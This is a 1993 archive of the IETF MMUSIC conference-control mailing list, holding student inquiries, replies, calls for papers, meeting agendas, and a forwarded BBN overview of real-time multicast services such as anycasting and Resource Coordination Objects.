Message-Id: <m0od6GQ-0002LEC@zorzal.edu.ar>
From: cjbclau@zorzal.edu.ar (Borcovio)
Subject: INFORMATION REQUEST FROM ARGENTINA
To: confctrl
Date: Wed, 15 Sep 1993 20:27:54 -0300 (ARG)
X-Mailer: ELM [version 2.4 PL13]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1636      

        We are a group of students at the Buenos Aires Exact and Natural
Science University in Argentina.
        We are preparing our thesis based on Multimedia over Networks, more
precisely teleconferences. We have just started to work on it, trying to
concentrate on one specific subject.
        If it's posibble and not a lot of work for you we would appreciate to
get any kind of information or sources of information related to this subject.

Hoping to hear from you we remind yours.

Claudia Tejedor,
Claudio Bercovich.


+-----------------------------+----------------------------------------------+
|                             |    e-mail: ct2r@zorzal.edu.ar                |
|                             |   address: Claudia Tejedor                   |
|       Claudia Tejedor       |            Bucarelli 2350 Piso 14 Depto. "B" |
|                             |            C.P. 1431 - Capital Federal       |
|                             |            REPUBLICA ARGENTINA               |
+-----------------------------+----------------------------------------------+
+-----------------------------+----------------------------------------------+
|                             |    e-mail: cjbclau@zorzal.edu.ar             |
|                             |   address: Claudio Javier Bercovich          |
|  Claudio Javier Bercovich   |            Espinosa 1610 Piso 2 Depto. "G"   |
|                             |            C.P. 1416 - Capital Federal       |
|                             |            REPUBLICA ARGENTINA               |
+-----------------------------+----------------------------------------------+

From schooler  Thu Sep 16 03:50:34 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-13)
	id <AA14951>; Thu, 16 Sep 1993 10:50:44 -0700
Date: Thu, 16 Sep 1993 10:50:34 -0700
From: schooler
Posted-Date: Thu, 16 Sep 1993 10:50:34 -0700
Message-Id: <199309161750.AA03404@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA03404>; Thu, 16 Sep 1993 10:50:34 -0700
To: ct2r@zorzal.edu.ar, cjbclau@zorzal.edu.ar
Subject: Re: mmusic
Cc: confctrl, schooler

Claudia, Claudio,

>        We are a group of students at the Buenos Aires Exact and Natural
>Science University in Argentina.
>        We are preparing our thesis based on Multimedia over Networks, more
>precisely teleconferences. We have just started to work on it, trying to
>concentrate on one specific subject.
>        If it's posibble and not a lot of work for you we would appreciate to
>get any kind of information or sources of information related to this subject.


The anonymous FTP archive area for the mmusic WG is venera.isi.edu:confctrl.
The relevant files:

  - charter		the latest version of the charter, which outlines
			the focus of the group. 

  - confctrl.mail	the archive of past mail messages (although
			some of our postings have been on rem-conf@es.net)

  - minutes		a directory of minutes from past meetings,
			which should give you a good sense of the 
			past discussions.

  - templates		a compendium of templates of existing projects
			on teleconferencing, with pointers to other
			readings and descriptions about models and
			underlying protocols and assumptions.

In addition to this group, there exists another IETF working group
related to conferencing.  It is the WG on Audio/Video Transport (AVT);
they recently drafted a request-for-comments on RTP, a transport
protocol for real-time applications.  To subscribe to AVT, send a
message to rem-conf-request@es.net.

E.

    Eve M. Schooler                       
    USC/Information Sciences Institute    Voice:  310-822-1511, x114
    4676 Admiralty Way                    FAX:    310-823-6714  
    Marina del Rey, CA 90292              E-mail: schooler@isi.edu


From owner-confctrl  Sat Sep 18 08:49:10 1993
Received: by venera.isi.edu (5.65c/5.61+local-13)
	id <AA23640>; Sat, 18 Sep 1993 09:49:14 -0700
Received: from cs.uml.edu by venera.isi.edu (5.65c/5.61+local-13)
	id <AA23636>; Sat, 18 Sep 1993 09:49:12 -0700
Received: by cs.uml.edu id AA09322
  (5.65c+/IDA-1.4.4 for confctrl@isi.edu); Sat, 18 Sep 1993 12:49:10 -0400
From: "John F. Buford" <buford@cs.uml.edu>
Message-Id: <199309181649.AA09322@cs.uml.edu>
Subject: FINAL CFP: 1994 Intl Conf on Multimedia Computing and Systems
To: confctrl
Date: Sat, 18 Sep 1993 12:49:10 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 5514      




                  CALL FOR PARTICIPATION

 1994 International Conference on Multimedia Computing and Systems
         
                       Sponsored by
   The IEEE Computer Society's Task Force on Multimedia Computing

                      May 14-19, 1994
                    Copley Plaza Hotel
                Boston, Massachusetts, USA

Conference Chair:  Laszlo A. Belady, Mitsubishi Electric Research, USA 
Program Co-Chairs: Scott M. Stevens, Carnegie Mellon University, USA and
                   Ralf Steinmetz, IBM European Network Center, Germany
 
Multimedia systems are expected to result in the convergence of consumer
electronics, computers and communications. Their applications will
transform how people work, learn and play.

This conference, sponsored by the IEEE Computer Society and its Task Force on
Multimedia Computing, offers a world class forum for practicing engineers and
researchers to report on and exchange the latest ideas in this exciting field. 
Immediately preceding the conference, tutorials will provide opportunities 
for interaction with experts in the related fields. Through this call for 
papers, the organizers seek contributions of high quality papers and
proposals for panels or tutorials.

The field of multimedia is still evolving, hence the scope of the 
conference is broad.  We anticipate papers covering many aspects of the 
transmission, processing, and use of multimedia information.
We encourage submissions which describe work--finished or in progress, 
practical development or theory--on the following or related subjects:

   Systems
      Network architecture
      Hardware architecture
      Operating systems
      Distributed systems
      Database and information systems
 
   Techniques
      Video compression and processing
      Real time scheduling
      Human-computer interaction
      Programming paradigms
      Content-based retrieval
 
   Applications
      Capture and creation of content
      Synthetic information and video generation
      Modeling and simulation
      Human learning
      Mobile computing
      Group collaboration
      Video dialtone


PAPERS AND PANEL PROPOSALS

Authors are requested to submit six copies of the manuscript
(maximum of 20 pages) including abstract and keywords by Nov. 15, 1993.
Final papers are restricted to eight IEEE model pages.  The use of
prototypes and demonstration video for final presentations is encouraged.
Each paper must be accompanied by a submission letter that indicates
the most relevant one or two conference areas and primary author contact
information including: postal address, email address, telephone and 
Fax numbers.

                       Important Dates:
                       ----------------

	Nov. 15, 1993:		All submissions due
	Jan. 15, 1994:		Notification of acceptance
	Feb. 15, 1994:		Final manuscripts due

Submit all papers and panel proposals to:

 Scott M. Stevens
 Software Engineering Institute
 Carnegie Mellon University
 Pittsburgh, PA  15313
 USA
 email: sms@sei.cmu.edu
 Phone: 412 268-7796
 Fax  : 412 268-5758

TUTORIALS

In addition to papers, proposals for one and two day tutorials are
solicited in any of the conference areas. Proposals should include
the topic area, a brief summary of the content, a schedule, and
information about the instructors.

Include the following information for the instructor who will handle
conference correspondence: postal address, email address, telephone 
and fax numbers.  Proposals should be submitted by November 15.
1993.  Responses and instructors' kits will be sent by Jan 15, 1994. 
Final course notes should be submitted by Feb 15.

Submit proposals for tutorials to:

 Erich J. Neuhold
 GMD-IPSI / Technische Hochschule Darmstadt
 Dolivostr. 15
 P.O. Box 10 43 26
 6100 Darmstadt
 Germany
 email: neuhold@darmstadt.gmd.de
 Phone: +49 6151 869-802
 Fax  : +49 6151 869-818


ORGANIZING AND PROGRAM COMMITTEES
---------------------------------

Conference Chair: 	Laszlo A. Belady, Mitsubishi Electric Research, USA
Program Co-Chairs: 	Scott M. Stevens, Carnegie Mellon University, USA and
                   	Ralf Steinmetz, IBM European Network Center, Germany
Tutorial Chair: 	Erich Neuhold, T.H. Darmstadt, Germany
Publicity Chair: 	John Buford, UMass Lowell, USA
Exhibits Chair: 	William Lambert, Horizon Research, USA
Publication Chair: 	Tibor Vais, Compuserve, USA 
Reg. & Finance Chair:	Joseph Boykin, GTE Laboratories, USA
Local Arr. Chair:	Michael Bove, MIT Media Lab, USA

Program Committee:

 Joseph Boykin, GTE Laboratories, USA
 John F. Buford, Univ. of Massachusetts Lowell, USA
 Michael Christel, Carnegie Mellon Univ., USA
 Roger Dannenberg, Carnegie Mellon Univ., USA
 Martin Fruehauf, ZGDV Darmstadt, Germany
 Nicolas Georganas, Univ. of Ottawa, Canada
 Christoph Hornung, FHG Darmstadt, Germany
 Tadao Ichikawa, Hiroshima University, Japan
 Wolfgang Klas, GMD Darmstadt, Germany
 Daniel T. Ling, Microsoft, USA
 Andrew Lipmann, MIT Media Lab, USA
 Thomas D.C. Little, Boston University,USA
 Peiya Liu, Siemens, USA
 Mark Miller, Apple, USA
 Darren New, Bellcore, USA
 Radu Popescu-Zeletin, GMD-Fokus, Germany
 Arturo Rodriguez, Kaleida, USA
 Masao Sakauchi, University of Tokyo, Japan
 Arun Sood, George Mason University, USA
 Otto Spaniol, RWTH Aachen, Germany
	
                          ICMCS '94
    1994 International Conference on Multimedia Computing and Systems

            SPONSORED BY THE IEEE COMPUTER SOCIETY 
              Task Force on Multimedia Computing


From owner-confctrl  Thu Oct 21 07:42:23 1993
Received: by venera.isi.edu (5.65c/5.61+local-13)
	id <AA29691>; Thu, 21 Oct 1993 08:43:30 -0700
Received: from cygnus.sce.carleton.ca by venera.isi.edu (5.65c/5.61+local-13)
	id <AA29687>; Thu, 21 Oct 1993 08:43:27 -0700
Received: from space.sce.carleton.ca by cygnus.sce.carleton.ca (4.1/SMI-4.0)
	id AA12220; Thu, 21 Oct 93 11:42:25 EDT
From: gboersma@sce.carleton.ca (Gerald Boersma)
Received: by space.sce.carleton.ca (4.1/Sun-Client)
	id AA12019; Thu, 21 Oct 93 11:42:23 EDT
Message-Id: <9310211542.AA12019@space.sce.carleton.ca>
Subject: Subscribe
To: confctrl
Date: Thu, 21 Oct 1993 11:42:23 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL22]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 26        

Subscribe to mailing list

From owner-confctrl  Wed Oct 27 05:33:41 1993
Received: by venera.isi.edu (5.65c/5.61+local-13)
	id <AA28802>; Wed, 27 Oct 1993 06:34:03 -0700
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-13)
	id <AA28798>; Wed, 27 Oct 1993 06:34:02 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA08924> for confctrl@isi.edu; Wed, 27 Oct 93 09:33:42 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA29641; Wed, 27 Oct 93 09:33:41 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed, 27 Oct 1993 09:33:41 -0400 (PDT)
Message-Id: <QgnbWp20M2ULMTDNRm@thumper.bellcore.com>
Date: Wed, 27 Oct 1993 09:33:41 -0400 (PDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: MMusic WG agenda for next IETF
Cc: Shenker@parc.xerox.COM, mwalnut@cnri.reston.va.us

			IETF MMusic WG
		  Mon Nov 1st & Tues Nov 2nd
			13:30 - 15:30
		     Multicast Channel 2


	       Eve Schooler <schooler@isi.edu>
	       Abel Weinrib <abel@bellcore.com>


Recommended readings: ftp.isi.edu:confctrl/docs/*


Monday Nov 1
Afternoon 13:30-15:30

o  MMusic WG status and goals

o  Framework review and discussion
     - Context for two protocols: 
            Agreement Protocol
            Session Control Protocol

o  An Algorithm for Managing Shared Teleconference State--Scott Shenker

o  Discussion


Tuesday Nov 2
Afternoon 13:30-15:30

o  Session Control Protocol: 
     - Using the Agreement Protocol
     - Example session scenarios

o  Open discussion of status and future work
     - reports from liasons (?)
     - other issues(?)

From owner-confctrl  Wed Oct 27 13:28:43 1993
Received: by venera.isi.edu (5.65c/5.61+local-13)
	id <AA14011>; Wed, 27 Oct 1993 14:28:49 -0700
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-13)
	id <AA14007>; Wed, 27 Oct 1993 14:28:48 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA22555> for confctrl@isi.edu; Wed, 27 Oct 93 17:28:44 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA00139; Wed, 27 Oct 93 17:28:44 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed, 27 Oct 1993 17:28:43 -0400 (PDT)
Message-Id: <UgniU=m0M2UL4TDI87@thumper.bellcore.com>
Date: Wed, 27 Oct 1993 17:28:43 -0400 (PDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: Agreement algorithm draft
Cc: schooler, Shenker@parc.xerox.COM

There is now a VERY rough draft entitled "An Algorithm for Managing
Shared Teleconferencing State" in the file agree.ps available by
anonymous ftp from ftp.isi.edu in the confctrl/docs directory.  It is
embryonic, but may help to get a sense of the direction we are heading.

There will also be another document on usage of the agreement algorithm
and other higher level issues there shortly.  Stay tuned for an
announcement.

From schooler  Fri Oct 29 14:13:04 1993
Received: by venera.isi.edu (5.65c/5.61+local-13)
	id <AA29040>; Fri, 29 Oct 1993 21:13:17 -0700
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-13)
	id <AA29036>; Fri, 29 Oct 1993 21:13:11 -0700
Date: Fri, 29 Oct 1993 21:13:04 -0700
Posted-Date: Fri, 29 Oct 1993 21:13:04 -0700
Message-Id: <199310300413.AA00651@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA00651>; Fri, 29 Oct 1993 21:13:04 -0700
To: confctrl
Subject: Another rough draft
Cc: schooler, abel@thumper.bellcore.com, shenker.pa@xerox.com


I've recently placed another drafty draft document in the 
archive directory as ftp.isi.edu:confctrl/docs/usage.txt.
I am likely to continue to work on it, but thought it would
helpful for you to get a rough sense of what we hope to talk about
at the IETF.

I will bring copies of the latest version with me to IETF.

E.

From owner-confctrl  Tue Nov  2 18:53:33 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04132>; Tue, 2 Nov 1993 20:53:28 -0800
Received: from MANNIX.BBN.COM by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04128>; Tue, 2 Nov 1993 20:53:26 -0800
Message-Id: <199311030453.AA04128@venera.isi.edu>
To: confctrl
Cc: milliken@BBN.COM, kseo@BBN.COM, jseeger@BBN.COM
Tcc: inbox
Subject: BBN, work on Resource Coordination Objects (overview)
Date: Tue, 02 Nov 93 23:53:33 -0500
From: Julio Escobar <jescobar@BBN.COM>

As I mentioned in todays MMUSIC meeting,
this is the overview document that BBN sent to Dartnet in July 93
describing our work on Resource Coordination Objects under the Real
Time Multicast Communications project at BBN.  We are working on
releasing the draft document "Resource Coordination Objects: a state
distribution mechanism," which we will post on this email list.  

Unfortunately this overview is written in Latex, but should still be
readable.   


JULIO


------- Forwarded Message




- ----------------------------------------------------------------------------
% project overview paper for Real-Time Multicast

\documentstyle[11pt]{article}
\newcommand{\rem}[1]{$<<${\em #1}$>>$}

\title{Real-Time Multicast Communications \\
Project Overview}
\author{Walter Milliken \\
Advanced Networking Department \\
BBN Systems and Technologies}
%\date{}

\begin{document}

\maketitle


\section{Introduction}

The Real-Time Multicast Communications project at BBN has been
concerned with defining and implementing new communications services
for use in the rapidly-growing area of distributed real-time
applications.

There are four services being developed under this project:

\begin{description}
\item[Anycasting] provides a logical addressing mechanism for
obtaining services from one of a set of equivalent hosts.

\item[Multi-level flows] allow a single multicast group to be used to
transport several sub-flows, and allow hosts and routers to optimally
propagate these sub-flows.

\item[Shared streams] allow several flows to share network resources
under a single resource reservation.

\item[Resource Coordination Objects] provide a general mechanism for
distributing, storing, and accessing network-related information among
entities involved in distributed communications.

\end{description}

These concepts are discussed in more detail below.  For each, there is
a description of the service, the technical approach, and the
technology transfer issues.

Our general approach is to develop near-term deployable IP versions of
these concepts, so that the utility of the ideas can be assessed.  We
are also looking at the longer-term implications of the general concepts,
to guide future work in these areas.



\section{Anycasting}


\subsection{Description}
This capability is intended to serve as an alternative to directory
services and multicasting for locating and using distributed servers
(a group of equivalent hosts providing an identical service at a
logical address).

The basic anycasting service has been implemented using ordinary IP
protocols, and is operational.  We are currently investigating
possible demonstration applications for this service, e.g., video
server, NTP, etc.


\subsection{Approach}
The service is implemented by advertising a route from each
anycast host to the anycast address, using standard routing
protocols.  Normal IP routing then resolves multiple routes to the
anycast address just as it handles multiple network routes.  The
anycast client application in each host can optionally supply an
initial metric to be used in the host's routing advertisement, to
influence route choice based on some application-specific
requirement.

Our current implementation uses the standard "gated" routing demon
to advertise the route.  Recognition of the anycast address by the
host for input is done by creating a new socket address family that
is a duplicate of the IP family (AF\_INET).  This family (the
virtual Internet family) allows creation of virtual network
interfaces bound to anycast addresses.  The server application then
opens sockets of this family, bound to the anycast address.
Since each virtual network interface socket looks like a standard
network interface to the kernel, gated automatically advertises
them.

The version of gated used so far uses EGP, which requires the
assignment of a class C IP address to each anycast address.  We may
also try using OSPF instead of EGP would allow use of ordinary host
addresses.


\subsection{Tech Transfer}
Anycasting is compatible with existing routers, and
requires only minimal changes to host networking software (to allow
the anycast address to be recognized by the host).  Our
implementation can be easily added to existing BSD-based systems,
by compiling the virtual network interface module and linking it to
the standard kernel, and similar implementations should be simple
to add to other platforms.

Anycasting is most efficiently supported by routers using mask-based
IGPs, such as OSPF.  Efficient inter-domain anycasting may require
new inter-domain routing protocols, which would be a topic for
further study.



\section{Multi-level Flows}


\subsection{Description}
This service allows multicast flows to be labeled with
sub-flow identifiers, and provides the capability for receivers to
request only some of the sub-flows.  This allows the network to
deliver only requested data down the various branches of the
multicast routing tree.


\subsection{Approach}
We are planning to augment the IP multicast routing
implementation, mrouted, to support multi-level flows.  This will
include upward-compatible extensions to IGMP to identify which
sub-flows the receiver desires.

We are looking at using the IP precedence field for labeling
sub-flows, as this appears to match well with most anticipated
application uses for sub-flows, which tend to involve data streams
with a clear priority ordering.

This approach should be more scalable than the alternative of using
multiple IP groups per application (one per sub-flow), which can easily
multiply the number of IP multicast group routes in routers by a factor
of 2-4.  (One technique we've studied for handling large-scale
distributed simulation applications might require several thousand
multicast groups, each with several sub-flows.)  Our approach will
only add on the order of 10% to the size of the routing entry for
each multi-flow group address.  It will also perform better in the
face of network congestion, at least when there is a clear priority
ordering among sub-flows.


\subsection{Tech Transfer}
The code modifications to support multi-level flows in
router and host implementations that already support IP
multicasting appear to be minimal, so that this service should be
readily transferable to existing multicast-capable routers and hosts.

Use of the IP precedence field will generally be consistent with
router behavior -- those routers that examine the field will deliver
the more important sub-flows in preference to less-important ones.
Only if an application arose where sub-flows had no clear precedence
would normal treatment of IP precendence cause gratuitous behavior,
and no applications we've considered should suffer this problem.

The ability to set IP precedence on application packets isn't
supported by the standard BSD UDP socket implementation.  We would
provide a send-side UDP library routine to send precedence-labelled
UDP datagrams using the BSD raw socket facility.  This would be more
portable than modifying the BSD socket implementation in the kernel
to support an IP precedence socket option,

This design allows interoperation with unmodified IP multicast hosts
and routers, though optimal delivery of sub-flows may not occur when
unmodified routers are involved.



\section{Shared Streams}


\subsection{Description}
This service can be viewed as an extension of resource reservation
mechanisms such as Fair Share and RSVP, permitting multiple flows to
share a single resource reservation.  This allows distributed
applications to make use of bandwidth multiplexing.  For example, a
conference using floor control might specify that all conference flows
could share a single sender's worth of bandwidth, since only one can
send at a time.


\subsection{Approach}
We are implementing shared streams based on the Fair Share code, which
we already have source for.  Fair Share was originally designed to
allow fair bandwidth sharing of links to support policy routing
(IDPR).  It does this by identifying and separating different flows,
and then scheduling output according to the policy specifying the
bandwidth allocation for each group of flows.  Fair Share's
flow-separation and scheduling implementation is general enough to
support shared streams, so we will implement shared streams in IP by
replacing Fair Share's administrative policy interface with a
user-controlled mechanism for associating groups of flows with
reservation information.

We will use an early version of {\em Resource Coordination Objects}
(see below) to describe the flows, and to provide a user interface for
making reservations.  We plan to use {\em flowspecs} (RFC 1363) to
pass generic reservation information, which will then be adapted to
the requirements of the resource enforcement mechanism.


\subsection{Tech Transfer}
The shared stream service assumes a pre-existing flow-based resource
enforcement mechanism.  Since most of the shared stream implementation
will be outside the kernel (interfaced through a system call to the
reservation enforcement mechanism), it should be readily portable to
any system supporting such a service.  However, all such systems are
currently experimental.  When such systems become more widely
available, this work should be directly applicable to them.



\section{Resource Coordination Objects}


\subsection{Description}
RCOs are a general technique for distributed applications
to communicate information about aggregates of network-related
resources among hosts and network nodes.  They can be used to support
both session-layer services and network-layer services, and can be
used to coordinate auxiliary information about flows with network
routing.  RCOs appear to be a rich general mechanism for
incrementally adding services to networks.

RCOs are typed blocks of state information labelled from a global
namespace.  Hosts can create RCOs and pass them to the network, or,
given an RCO label, obtain them from the network.  RCOs can be
associated with a flow or set of flows in the network, in which
case they are propagated along the route(s) of the flow(s), for
possible use by routers.  Other RCOs may be stored in servers in
the network, and obtained only on demand of a host.  (These might
be used to store session information, for example.)  A third
possible type of RCO would be one which hosts (or network nodes)
would register interest in, and any changes in the RCO would be
automatically propagated to the set of interested parties.

There are a wide variety of potential uses for RCOs, including
distributed session management, network resource reservation,
multicast access control, and intelligent resource preemption.  Under
the current funding, we plan to work on the infrastructure and a few
example services using RCOs, including shared streams (above).


\subsection{Approach}
The details of the technical approach to RCOs are still
evolving.  The current top-level design calls for a user interface
to RCOs in hosts, probably UDP based, links to routing update
processing in routers to support propagation of flow-related RCOs
along data flow paths, and a distributed server process to store
RCO information not directly related to flows.

Each RCO has a type field (whose values would probably be
registered with a central authority), a propagation type
(flow-related, server-stored, or sent to an update list), a
flow list association (for flow-related types only), and a block of
opaque data, whose structure is determined by the type field.

Thus the basic RCO service is a means of establishing blocks of
typed state data at particular points in a distributed system,
either along a route, in a central (or distributed) repository
visible to all comers, or with a list of interested parties.

Since RCOs are transported opaquely, not all network components
need support any given type of RCO.  Only those components using
a particular type of RCO need to be modified to provide support for
that RCO.


\subsection{Tech Transfer}
RCOs should be readily transferable between platforms
- --- they will be transported using standard UDP/IP, and the support
libraries and servers will be built on vanilla BSD capabilities.
These could easily be adapted to different network APIs -- all that
is required is basic UDP support.

Flow-related RCOs require minor router modifications to supply
routing update "hooks" to the flow-related RCO propagation code.
RCO propagation will require a UDP send/receive capability in the
router, but this is typically available in order to support SNMP.

Once the basic infrastructure support for RCOs becomes commonly
available in routers and hosts, it becomes easier to add new
network services, using RCOs as a general extension mechanism.
One simply defines a new RCO type, decides how it is propagated,
and implements support for that RCO type in systems that wish to
support the new feature.  Other systems will propagate the RCO
properly, but will otherwise ignore it.

\end{document}

- ----- End of forwarded messages

------- End of Forwarded Message


From owner-confctrl  Thu Nov  4 09:59:09 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA02354>; Thu, 4 Nov 1993 12:01:05 -0800
Received: from cygnus.sce.carleton.ca by venera.isi.edu (5.65c/5.61+local-14)
	id <AA02330>; Thu, 4 Nov 1993 12:00:41 -0800
Received: from space.sce.carleton.ca by cygnus.sce.carleton.ca (4.1/SMI-4.0)
	id AA25131; Thu, 4 Nov 93 14:59:10 EST
From: gboersma@sce.carleton.ca (Gerald Boersma)
Received: by space.sce.carleton.ca (4.1/Sun-Client)
	id AA13637; Thu, 4 Nov 93 14:59:09 EST
Message-Id: <9311041959.AA13637@space.sce.carleton.ca>
Subject: The T.GCC standard and the MCS standard
To: confctrl
Date: Thu, 4 Nov 1993 14:59:09 -0500 (EST)
X-Mailer: ELM [version 2.4 PL22]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 641       

I am relatively unfamiliar with the context of the MMUSIC group, but
perhaps an answer to the following question will help.

What, if any, is the involvement of the MMUSIC group with the emerging
ITU standard (still in draft form) T.GCC: Generic Conference Control
for Audiovisual and Audiographic Terminals and Multipoint Control
Units, which is closely related to the MCS draft standard: Multipoint
Communication Service?

Does anyone have any comments on this standard? We would like to get a
better idea of what people actually DO for conference control, rather
than what a standard dictates.

Gerald Boersma
Telepresence
Ottawa, Canada

From owner-confctrl  Fri Nov  8 08:02:27 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA00313>; Mon, 8 Nov 1993 10:12:56 -0800
Received: from smcvax.smcvt.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA00163>; Mon, 8 Nov 1993 10:08:28 -0800
Received: from SMCVAX.SMCVT.EDU by SMCVAX.SMCVT.EDU (PMDF #3520 ) id
 <01H52NY70F1G8YAIHP@SMCVAX.SMCVT.EDU>; Mon, 8 Nov 1993 13:02:28 EST
Date: 08 Nov 1993 13:02:27 -0500 (EST)
From: "Gary C. Kessler, +1 802-655-8633" <KUMQUAT@SMCVAX.SMCVT.EDU>
Subject: 19th Conf. on Local Computer Networks Call for Papers...
To: atm@hpl.hp.com, big-internet@munnari.oz.au, bmwg@harvard.edu,
        comp.dcom.cell-relay@indiana.edu, cellular@dfv.rwth-aachen.de,
        com-priv@psi.com, confctrl, dqlist@atri.curtin.edu.au,
        end2end-interest, fca@amcc.com, fddi-sync@merit.edu,
        frftc@nsco.network.com, hippi@think.com, ietf@nri.reston.va.us,
        isdn@list.prime.com, members@farnet.org, nren-discuss@psi.com,
        ospf@trantor.umd.edu, repeater%sunoco@relay.nswc.navy.mil,
        rolc@network.com, sci_announce@hplsci.hpl.hp.com,
        scsi@wichitaks.ncr.com, smdstc@nsco.network.com,
        smds-users@nas.nasa.gov, snmp@uu.psi.com, tcp-ip@nic.ddn.mil,
        tuba@lanl.gov, wireless@tandem.com
Message-Id: <01H52NY70F1I8YAIHP@SMCVAX.SMCVT.EDU>
X-Vms-To: @LCNLIST
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT

                   **********   CALL FOR PAPERS   **********
 
               19th Annual Conference on Local Computer Networks
 
         "The Conference on Practical Leading Edge Computer Networking"
 
                 October 2-5, 1994, Minneapolis, Minnesota, USA
 
============================================================================
Sponsored by:     IEEE Computer Society         TC - Computer Communications
============================================================================
 
Theme:
The emphasis on this year's conference is on practical
experience using local computer networks.  This unique
approach simulates a workshop environment and allows
for an effective interchange among users, researchers, and
vendors.  Some of the primary goals of the conference are
to enable those involved in the local computer network
field to share experiences, lessons learned, and prototype
data and analysis.  Because of these objectives, papers
based on experience are especially solicited.
 
The focus of the 19th LCN will be Interconnection and
Extension of Applications and Services Beyond the LAN.
Papers that cover these areas are explicitly sought and
will be given preference.
 
Information for Authors:
All authors must submit 5 full copies of the full
technical paper by mail or delivery service.  DO NOT
SUBMIT COMPLETE PAPERS BY FAX.  The first page must
contain: title of the paper, author's names including
affiliations, complete mailing address, telephone and
FAX numbers, Internet or Bitnet address, and a 250
word (maximum) abstract (double-spaced) in English to
Gary Kessler, Program Chair, at the address below.
 
Sessions are being organized on:
  o Internetworking/Routers/Bridges
  o Multimedia
  o Distributed Applications
  o Wide Area Networks
  o ATM
  o Fibre Channel Networking
  o High Speed Networks
  o Error Control Techniques
  o Congestion Control
  o High Performance Protocols
  o Metropolitan Area Networks
  o LAN/MAN/WAN Integration
  o Standards
  o Network Management
  o Remote Monitoring
  o Wireless Networks
  o Emerging Technologies
  o FDDI and FDDI-II
  o Realtime Networks
 
 
Send papers to:
Gary C. Kessler, Program Chair             Important Dates
Hill Associates                             Submission:   March 7, 1994
17 Roosevelt Highway                        Acceptance:   June 20, 1994
Colchester, VT  05446 USA                   Camera Copy:  July 20, 1994
+1 802-655-0940 (main office)
+1 802-655-8633 (direct)                     Conference Summary
+1 802-655-7974 (fax)                        - Tutorials
kumquat@smcvax.smcvt.edu                     - Technical Paper Sessions
kumquat@smcvax.bitnet                        - Panel Discussions

From owner-confctrl  Mon Nov  8 07:16:32 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA05735>; Mon, 8 Nov 1993 12:36:06 -0800
Received: from achilles.ctd.anl.gov by venera.isi.edu (5.65c/5.61+local-14)
	id <AA02842>; Mon, 8 Nov 1993 11:21:16 -0800
Received: by achilles.ctd.anl.gov (4.1/SMI-4.1)
	id AA10142; Mon, 8 Nov 93 13:16:39 CST
Message-Id: <9311081916.AA10142@achilles.ctd.anl.gov>
To: "Gary C. Kessler, +1 802-655-8633" <KUMQUAT@smcvax.smcvt.edu>
Cc: atm@hpl.hp.com, big-internet@munnari.oz.au, bmwg@harvard.edu,
        comp.dcom.cell-relay@indiana.edu, cellular@dfv.rwth-aachen.de,
        com-priv@psi.com, confctrl, dqlist@atri.curtin.edu.au,
        end2end-interest, fca@amcc.com, fddi-sync@merit.edu,
        frftc@nsco.network.com, hippi@think.com, ietf@nri.reston.va.us,
        isdn@list.prime.com, members@farnet.org, nren-discuss@psi.com,
        ospf@trantor.umd.edu, repeater%sunoco@relay.nswc.navy.mil,
        rolc@network.com, sci_announce@hplsci.hpl.hp.com,
        scsi@wichitaks.ncr.com, smdstc@nsco.network.com,
        smds-users@nas.nasa.gov, snmp@uu.psi.com, tcp-ip@nic.ddn.mil,
        tuba@lanl.gov, wireless@tandem.com, b32357@achilles.ctd.anl.gov
Subject: Re: 19th Conf. on Local Computer Networks Call for Papers... 
In-Reply-To: (Your message of 08 Nov 93 13:02:27 EST.)
             <01H52NY70F1I8YAIHP@SMCVAX.SMCVT.EDU> 
Date: Mon, 08 Nov 93 13:16:32 -0600
From: b32357@achilles.ctd.anl.gov

This call for papers fits right in with our research activities.
Please note submission date of March 7, 1994.
Linda

From owner-confctrl  Mon Nov 15 15:22:50 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA28571>; Mon, 15 Nov 1993 07:23:24 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA28567>; Mon, 15 Nov 1993 07:23:22 -0800
Received: from orinda.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09988-0@bells.cs.ucl.ac.uk>; Mon, 15 Nov 1993 15:22:52 +0000
To: confctrl
Cc: M.Wahl@cs.ucl.ac.uk
Subject: ITU-T T.12x (T.GCC etc)
Date: Mon, 15 Nov 93 15:22:50 +0000
Message-Id: <1232.753376970@UK.AC.UCL.CS>
